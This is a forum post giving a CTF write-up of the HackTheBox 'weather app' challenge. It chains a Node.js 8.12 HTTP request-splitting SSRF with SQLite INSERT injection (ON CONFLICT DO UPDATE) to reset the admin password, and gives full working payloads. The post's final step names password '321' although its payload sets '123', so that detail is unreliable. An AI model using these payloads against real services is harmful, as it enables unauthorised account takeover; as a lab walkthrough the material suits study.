安全矩阵

 找回密码
 立即注册
搜索
查看: 351|回复: 0

nodejs请求走私与ssrf

[复制链接]

179

主题

179

帖子

630

积分

高级会员

Rank: 4

积分
630
发表于 2023-3-26 22:56:18 | 显示全部楼层 |阅读模式
本帖最后由 adopi 于 2023-3-26 22:56 编辑

原文链接:nodejs请求走私与ssrf
最近看到hackthebox一道题,关于nodejs请求走私的,学到不少东西,这里记录一下。

1. 先说题目

题目直接给了源码,题目名字是weather app,大家有兴趣可以直接去hackthebox做这道题。

源码是nodejs的,docker环境,代码功能看起来很简单,一共三个功能。分别是:登录(login),注册(register)和查询天气的api接口(/api/weather)。

在注册的代码中检查了来源ip是不是127.0.0.1,使用的是req.socket.remoteAddress,这种情况是没办法绕过的。所以需要通过查询天气的api接口来进行ssrf攻击。

以下贴一下关键部分的代码

WeatherHelper.js这是查询天气接口的api,endpoint、city和country三个参数可控,可以通过该处进行ssrf攻击

  1. async getWeather(res, endpoint, city, country) {

  2.         // *.openweathermap.org is out of scope
  3.         let apiKey = '10a62430af617a949055a46fa6dec32f';
  4.         let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`);
复制代码


        
router/index.js:这是路由的代码,有三个关键接口/login、/register、/api/weather,关键代码如下:

  1. router.post('/register', (req, res) => {

  2.     if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
  3.         return res.status(401).end();
  4.     }

  5.     let { username, password } = req.body;
  6.         if (username && password) {
  7.         return db.register(username, password)
  8.             .then(()  => res.send(response('Successfully registered')))
  9.             .catch(() => res.send(response('Something went wrong')));
  10.     }

  11.     return res.send(response('Missing parameters'));
  12. });

  13. router.post('/login', (req, res) => {
  14.     let { username, password } = req.body;

  15.     if (username && password) {
  16.         return db.isAdmin(username, password)
  17.             .then(admin => {
  18.                 if (admin) return res.send(fs.readFileSync('/app/flag').toString());
  19.                 return res.send(response('You are not admin'));
  20.             })
  21.             .catch(() => res.send(response('Something went wrong')));
  22.     }
  23.    
  24.     return re.send(response('Missing parameters'));
  25. });

  26. router.post('/api/weather', (req, res) => {
  27.     let { endpoint, city, country } = req.body;

  28.     if (endpoint && city && country) {
  29.         return WeatherHelper.getWeather(res, endpoint, city, country);
  30.     }

  31.     return res.send(response('Missing parameters'));
  32. });   
复制代码


views/database.js:这是创建数据库和两个判断函数的文件。创建的user表中的admin密码字段为随机字段。关键代码如下

  1. async migrate() {
  2.         return this.db.exec(`
  3.             DROP TABLE IF EXISTS users;

  4.             CREATE TABLE IF NOT EXISTS users (
  5.                 id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
  6.                 username   VARCHAR(255) NOT NULL UNIQUE,
  7.                 password   VARCHAR(255) NOT NULL
  8.             );

  9.             INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32).toString('hex') }');
  10.         `);
  11.     }

  12.     async register(user, pass) {
  13.         // TODO: add parameterization and roll public
  14.         return new Promise(async (resolve, reject) => {
  15.             try {
  16.                 let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
  17.                 resolve((await this.db.run(query)));
  18.             } catch(e) {
  19.                 reject(e);
  20.             }
  21.         });
  22.     }

  23.     async isAdmin(user, pass) {
  24.         return new Promise(async (resolve, reject) => {
  25.             try {
  26.                 let smt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?');
  27.                 let row = await smt.get(user, pass);
  28.                 resolve(row !== undefined ? row.username == 'admin' : false);
  29.             } catch(e) {
  30.                 reject(e);
  31.             }
  32.         });
  33.     }
复制代码


根据以上代码不难看出这道题的解题思路:

根据weather api的查询接口,发起ssrf攻击
ssrf对register接口进行攻击,注册一个用户
注册的时候利用views/database.js中的register函数的注入漏洞
登录admin账户即可拿到flag
思路有了,那么几个关键点就出来了,如何发起ssrf攻击?如何利用注入漏洞?

2. nodejs请求走私

题目给了dockerfile文件,其中的关键点就在FROM node:8.12.0-alpine,nodejs指定版本8.12。这个版本已经很老了,目前我使用的版本都v15.x了,所以特定指定该版本,肯定是要利用nodejs的相关漏洞。

通过搜索不难发现nodejs 8.12存在拆分攻击漏洞(请求走私)。在http get请求的时候,没有处理好unicode字符,导致可以构造回车换行符来修改http流量,可以在正常请求中夹带另一个请求。具体的漏洞原理可以查看《通过拆分攻击实现的SSRF攻击》。

而在该题目中,需要通过weather查询的api,来构造一个post到register的请求。

那么我们第一步就是要构造一个正常的注册包,题目给了源码,可以直接在本地用docker起起来。在调试的时候,为了方便可以暂时把判断127.0.0.1的代码给注释掉。

构造正常的注册包如下,注意Content-Type和Content-Length是两个必要的字段,参数上面仅有一行空余:

  1. POST /register HTTP/1.1
  2. Host: 127.0.0.1:1337
  3. Content-Type: application/x-www-form-urlencoded
  4. Content-Length: 38

  5. username=admixxxn2&password=admin2
复制代码



构造如上数据包后,可以正常进行注册。该处有个小的tips,就是Content-Type如果使用application/json的话,会存在编码问题。nodejs的httpget函数在发起请求时,会对特殊字符采用URL编码,如果要请求走私的话,提交的json字符的{、}、"都会被直接URL编码,如果夹在正常的http包中,服务端不会正常解码,会全部判断为body字符,导致json解码失败。


第二步就是要通过请求走私的漏洞,构造一个原始的POST包,混合在正常的数据包中。根据漏洞原理,对于回车换行符可以采用\u010D\u010A,空格可以采用\u0120进行替换。

所以构造出来的数据包如下:

  1. \u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:1337\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u012086\u010D\u010A\u010D\u010Ausername=admin&password=admin2\u010D\u010A\u010D\u010AGET\u0120/123
复制代码


在nodejs中编写如下代码,然后nc监听即可通过nc查看构造的包
  1. const http = require("http");
  2. http.get("http://127.0.0.1:8888/query?param=1\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:8888\u010D\u010A\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:1337\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u012086\u010D\u010A\u010D\u010Ausername=admin2&password=admin2\u010D\u010A\u010D\u010AGET\u0120/123")
复制代码


nc可得到构造好的数据包
  1. <font face="Tahoma"><font size="3">/app # nc -lvvp 8888
  2. listening on [::]:8888 ...
  3. connect to [::ffff:127.0.0.1]:8888 from localhost:47630 ([::ffff:127.0.0.1]:47630)
  4. GET /query?param=1 HTTP/1.1
  5. Host: 127.0.0.1:80

  6. </font></font><div>
  7.     POST /register HTTP/1.1
  8.     Host: 127.0.0.1:1337
  9.     Content-Type: application/x-www-form-urlencoded
  10.     Content-Length: 35

  11.     username=admin2&password=admin2

  12.     GET /123/data/2.5/weather?q=2,3&units=metric&appid=10a62430af617a949055a46fa6dec32f HTTP/1.1
  13.     Host: 127.0.0.1:8888
  14.     Connection: close</div>
复制代码




最后一步很简单,就是将数据包放入到weather查询的api当中

  1. POST /api/weather HTTP/1.1
  2. Host: 127.0.0.1:1337
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9,ko;q=0.8
  9. Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9
  10. If-None-Match: W/"40a-17749845bb8"
  11. If-Modified-Since: Thu, 28 Jan 2021 15:02:27 GMT
  12. Connection: close
  13. Content-Type: application/json
  14. Content-Length: 474


  15. {"endpoint":"127.0.0.1/query?param=1\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:80\u010D\u010A\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:80\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u012090\u010D\u010A\u010D\u010Ausername=admin2&password=admin2\u010D\u010A\u010D\u010AGET\u0120/123","city":"2","country": "3"}
复制代码



3. sqlite注入
上面的ssrf问题解决了,最后一个问题来了,sqlite的注入怎么利用?

  1.     async register(user, pass) {
  2.         // TODO: add parameterization and roll public
  3.         return new Promise(async (resolve, reject) => {
  4.             try {
  5.                 let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
  6.                 resolve((await this.db.run(query)));
  7.             } catch(e) {
  8.                 reject(e);
  9.             }
  10.         });
  11.     }
复制代码


我们可以看到,注入点在insert里面,一般针对mysql的话,注入点在insert后,一般采用的是报错注入,但这道题是sqlite的后端数据库。

经过一番搜索,针对这道题可以采用ON CONFLICT DO UPDATE的语法,在插入时候如果有冲突的话,则将admin的密码改成我们已知的密码。

以上的注入点可以构造如下语法:

INSERT INTO users (username, password) VALUES ('admin', 'admin') ON CONFLICT(username) DO UPDATE set password='123'
这样在注册的时候,username字段有冲突,就直接把该条记录更改为自己可控的字段。

所以根据以上的内容,可以得到以下的payload

POST /api/weather HTTP/1.1
Host: 178.62.14.223:30863
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ko;q=0.8
Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9
If-None-Match: W/"40a-17749845bb8"
If-Modified-Since: Thu, 28 Jan 2021 15:02:27 GMT
Connection: close
Content-Type: application/json
Content-Length: 474


{"endpoint":"127.0.0.1/query?param=1\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:80\u010D\u010A\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:80\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u012090\u010D\u010A\u010D\u010Ausername=admin&password=321')+on+CONFLICT(username)+do+update+set+password=%27123%27--+\u010D\u010A\u010D\u010AGET\u0120/123","city":"2","country": "3"}
最后使用admin密码321进行登录,即可得到flag。













本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 18:53 , Processed in 0.014760 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表